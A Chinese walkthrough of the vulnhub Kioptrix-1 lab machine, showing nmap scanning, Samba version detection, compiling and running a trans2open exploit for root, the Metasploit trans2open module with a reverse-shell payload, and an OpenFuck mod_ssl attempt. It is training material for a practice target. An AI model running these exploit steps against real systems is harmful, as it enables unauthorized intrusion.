当前位置: 首页 > news >正文

vulnhub靶场【kioptrix-1靶机】

前言

靶机:kioptrix-1,IP地址为192.168.1.104

攻击:kali,IP地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

对于后续的目录爆破等,因为我个人测试过,所以发现网站的目录无价值,进而直接搜索版本漏洞进行测试

smb漏洞寻找并利用

使用searchsploit

前面直接发现139端口开启,并且nmap扫描出的是sam服务

那么使用smbclient尝试连接,看能否有东西产出

如图,并未把版本揭示,那么我对于漏洞的使用缺失重要的一块

更换工具,采用github上的一个项目进行测试https://github.com/amitn322/smb-version/blob/master/samba_version.py

下载到kali中,然后执行脚本即可

python2 smbversion.py -s 192.168.1.104

使用searchsploit进行测试,发现对应的漏洞只有一个可用于继续下一步,对于.rb,因为是msf特有的,所以暂不考虑

查看10.c文件,给出了用法

那么直接进行编译即可

gcc 10.c -o exp

编译成功,直接执行上面的用法,针对单个ip即可

./exp -b 0 -v 192.168.1.104

执行后,提权至root

使用msf

把上面作为节点,这里是新的

这里还是要检测smb服务的版本,这里借助整个msf作为使用

使用下面命令启动msf,并搜索对应的模块

msfconsole
search type:auxiliary smb version detection

那么使用该模块,命令如下

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > optionsmsf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.104
msf6 auxiliary(scanner/smb/smb_version) > set rport 139
msf6 auxiliary(scanner/smb/smb_version) > optionsmsf6 auxiliary(scanner/smb/smb_version) > run

执行后,会看到对应的版本信息

通过版本在msf中搜索可执行漏洞,这里注意,漏洞都是同一种trans2open,只是操作系统不同,这里靶机为linux操作系统,所以根据操作系统去选择

search type:exploit samba 2.2

use 2
optionsset rhost 192.168.1.104
//端口默认目标的是139

这里需要设置一个payload进行监听反弹shell,所以需要设置linux的监听

set payload linux/x86/shell/reverse_tcp
//脚本很多,选择其中一个即可

这时候执行,等待缓冲区溢出的爆破,一会即可发现反弹成功

web应用漏洞寻找利用

在之前使用nmap扫描时,确定443端口服务的版本mod_ssl 2.8.4,尝试进行搜索了一下,发现有版本范围内的一个漏洞openfuck

searchsploit mod_ssl 2.8.4

再使用nikto测试,发现也是有提到,可能存在

nikto -h 192.168.1.104

测试,直接使用remote buffer overflow,这个是我个人习惯,采用最新版本。

查看这个c文件,其中有用法,以及条件

那么就执行安装后,然后再编译

apt-get install libssl-dev
gcc -o openfuck 47080.c -lcrypto

执行编译后的openfuck,查看帮助,提供用法

./openfuck

大概用法就是

./openfuck 192.168.1.104 [box] 443

向下翻找,发现与前面nmap扫描出的443端口的服务版本redhat,中间件版本apache 1.3.20对应的有两个

测试这两个即可

./openfuck 192.168.1.104 0x6a 443./openfuck 192.168.1.104 0x6b 443

这里经过测试两个,发现都是提示超时

可能这里无法利用,不过查看了网上的wp,发现可以利用,这让我陷入深思,所以暂且到这里,等我搞清楚,会发布

总结

该靶机考察以下几点:

  1. 对于存在的smb服务,要能够识别出版本信息,也就是信息收集,这样才能为下一步确定有无版本信息做铺垫
  2. 善于使用searchsploit,这个是调用一个漏洞库中的信息,当然对于漏洞库也不要仅限于一个,多个漏洞库去搜索,可能这个没有,那个会有
  3. 对于给出的pocc文件等,要会编译,并复现,经常查看源文件
  4. 对于msf这个强大的工具,要会使用,至少要知道一些简单的用法

主要考察的就是对于服务的版本历史漏洞的复现,以及利用

相关文章:

vulnhub靶场【kioptrix-1靶机】

前言 靶机:kioptrix-1,IP地址为192.168.1.104 攻击:kali,IP地址为192.168.1.16 都采用虚拟机,网卡为桥接模式 文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载&…...

Linux 6.14 内核的主要特性

原文参考:https://www.kernel.org/ Linux 6.14 内核是 Linux 内核的一个重要版本,预计于 2025 年 3 月发布。该版本引入了多项新特性和改进,涵盖了硬件支持、性能优化、安全性增强以及新技术的整合。 1. Rust 语言驱动的正式支持 Linux 6.1…...

【Linux】深刻理解动静态库

1.什么是库 库是写好的现有的,成熟的,可以复⽤的代码。现实中每个程序都要依赖很多基础的底层库,不可能每个⼈的代码都从零开始,因此库的存在意义⾮同寻常。本质上来说库是⼀种可执⾏代码的⼆进制形式,可以被操作系统载…...

亚博microros小车-原生ubuntu支持系列:8-脸部检测与人脸特效

前面的都是使用了mediapipe框架。后面的这两节采用了opencv\dlib的框架。 一 脸部检测 核心:opencv detectMultiScale函数 detectMultiScale(image, scaleFactor, minNeighbors, flags, minSize, maxSize) image--待检测图片,一般为灰度图像加快检测…...

代码随想录算法训练营day32

代码随想录算法训练营 —day32 文章目录 代码随想录算法训练营前言一、动态规划理论基础二、509. 斐波那契数动态规划动态规划优化空间版递归法 三、70. 爬楼梯动态规划动态规划空间优化 746. 使用最小花费爬楼梯动态规划空间优化 总结 前言 今天是算法营的第32天&#xff0c…...

缓存之美:万文详解 Caffeine 实现原理(下)

上篇文章:缓存之美:万文详解 Caffeine 实现原理(上) getIfPresent 现在我们对 put 方法有了基本了解,现在我们继续深入 getIfPresent 方法: public class TestReadSourceCode {Testpublic void doRead() …...

中企出海:从国际投资建厂:投前投中投后重点事项

1. 投前重点事项 1.1 市场调研与分析 在国际投资建厂的投前阶段,市场调研与分析是至关重要的基础工作,它能够帮助企业全面了解目标市场,为后续决策提供有力依据。 市场规模与潜力:通过收集和分析目标国家或地区的经济数据、行业…...

github登录用的TOTP和恢复码都丢失了怎么办

从22年左右开始github的登录就需要用TOTP的一个6位秘钥做二次认证登录,如果在用的TOTP软件失效了,可以用github开启二次认证时下载的恢复码重置认证,但是如果你和我一样这两个东西都没了就只能用邮箱重置了,过程给大家分享一下 一…...

最长递增子序列问题(Longest Increasing Subsequence),动态规划法解决,贪心算法 + 二分查找优化

问题描述&#xff1a;在一个大小乱序的数列中&#xff0c;找到一个最大长度的递增子序列&#xff0c;子序列中的数据在原始数列中的相对位置保持不变&#xff0c;可以不连续&#xff0c;但必须递增。 输入描述&#xff1a; 第一行输入数列的长度 n。(1 < n < 200) 第二…...

Python中采用.add_subplot绘制子图的方法简要举例介绍

Python中采用.add_subplot绘制子图的方法简要举例介绍 目录 Python中采用.add_subplot绘制子图的方法简要举例介绍一、Python中绘制子图的方法1.1 add_subplot函数1.2 基本语法&#xff08;1&#xff09;add_subplot的核心语法&#xff08;2&#xff09;add_subplot在中编程中的…...

纯 Python、Django、FastAPI、Flask、Pyramid、Jupyter、dbt 解析和差异分析

一、纯 Python 1.1 基础概念 Python 是一种高级、通用、解释型的编程语言&#xff0c;以其简洁易读的语法和丰富的标准库而闻名。“纯 Python” 在这里指的是不依赖特定的 Web 框架或数据分析工具&#xff0c;仅使用 Python 原生的功能和标准库来开发应用程序或执行任务。 1.…...

C++实现有限元二维杆单元计算 Bar2D2Node类(纯自研 非套壳)

本系列文章致力于实现“手搓有限元&#xff0c;干翻Ansys的目标”&#xff0c;基本框架为前端显示使用QT实现交互&#xff0c;后端计算采用Visual Studio C。 QT软件界面 具体软件操作可查看下方视频哦。也可以点击这里直接跳转。 直接干翻Ansys&#xff1f;小伙自研有限元 1、…...

wx036基于springboot+vue+uniapp的校园快递平台小程序

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…...

Unity中两个UGUI物体的锚点和中心点设置成不一样的,然后怎么使两个物体的位置一样?

一、问题复现 需求&#xff1a;go1物体和我想把go1的位置跟go2的位置一样&#xff0c;但是我通过物体的anchoredPosition以及position还有localposiiton都没有解决问题&#xff0c;使用上面的这三个属性的效果如下&#xff1a; 运行之后&#xff0c;可以看出&#xff0c;go1的…...

兼职全职招聘系统架构与功能分析

2015工作至今&#xff0c;10年资深全栈工程师&#xff0c;CTO&#xff0c;擅长带团队、攻克各种技术难题、研发各类软件产品&#xff0c;我的代码态度&#xff1a;代码虐我千百遍&#xff0c;我待代码如初恋&#xff0c;我的工作态度&#xff1a;极致&#xff0c;责任&#xff…...

HTML5 History API

在 HTML5 的 History API 中&#xff0c;pushState 和 replaceState 方法也可以接受一个 state 对象作为参数。这些方法允许你在改变浏览器路由时不重新加载页面&#xff0c;并且可以附加一些自定义数据。 state 返回在 history 栈顶的 任意 值的拷贝。 let currentState h…...

2025_1_22打卡

402. 移掉 K 位数字 - 力扣&#xff08;LeetCode&#xff09; 279. 完全平方数 - 力扣&#xff08;LeetCode&#xff09;...

Formality:不可读(unread)的概念

相关阅读 Formalityhttps://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482https://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482 在Formality中有时会遇到不可读(unread)这个概念&#xff0c;本文就将对此…...

stm32f103C8T6和AT24C256链接

模拟IIC总线 myiic.c #ifndef __24CXX_H #define __24CXX_H #include "myiic.h" #define AT24C01 127 //1kbit1*1024/8128byte地址寻址范围为0-127 #define AT24C02 255 #define AT24C04 511 #define AT24C08 1023 #define AT24C16 2047 #define AT24C32 …...

5.SQLAlchemy对两张有关联关系表查询

问题 例如&#xff0c;一个用户可以有多个收获地址。 定义表如下&#xff1a; 用户表 地址表 一般情况&#xff0c;我们会先查询用户表&#xff0c;拿到用户id后&#xff0c;再到地址表中查询关联的地址数据。这样就要执行两次查询。 仅仅为了方便查询&#xff0c;需要一些属…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中&#xff0c;手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力&#xff0c;既支持点击、长按、拖拽等基础单一手势的精细控制&#xff0c;也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中&#xff0c;我们会遇到使用 java 调用 dll文件 的情况&#xff0c;此时大概率出现UnsatisfiedLinkError链接错误&#xff0c;原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用&#xff0c;结果 dll 未实现 JNI 协…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​&#xff1a; 下载安装DevEco Studio 4.0&#xff08;支持HarmonyOS 5&#xff09;配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​&#xff1a; ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

HBuilderX安装(uni-app和小程序开发)

下载HBuilderX 访问官方网站&#xff1a;https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本&#xff1a; Windows版&#xff08;推荐下载标准版&#xff09; Windows系统安装步骤 运行安装程序&#xff1a; 双击下载的.exe安装文件 如果出现安全提示&…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

根据万维钢·精英日课6的内容,使用AI(2025)可以参考以下方法:

根据万维钢精英日课6的内容&#xff0c;使用AI&#xff08;2025&#xff09;可以参考以下方法&#xff1a; 四个洞见 模型已经比人聪明&#xff1a;以ChatGPT o3为代表的AI非常强大&#xff0c;能运用高级理论解释道理、引用最新学术论文&#xff0c;生成对顶尖科学家都有用的…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中&#xff0c;新增了一个本地验证码接口 /code&#xff0c;使用函数式路由&#xff08;RouterFunction&#xff09;和 Hutool 的 Circle…...

Xen Server服务器释放磁盘空间

disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

视觉slam十四讲实践部分记录——ch2、ch3

ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...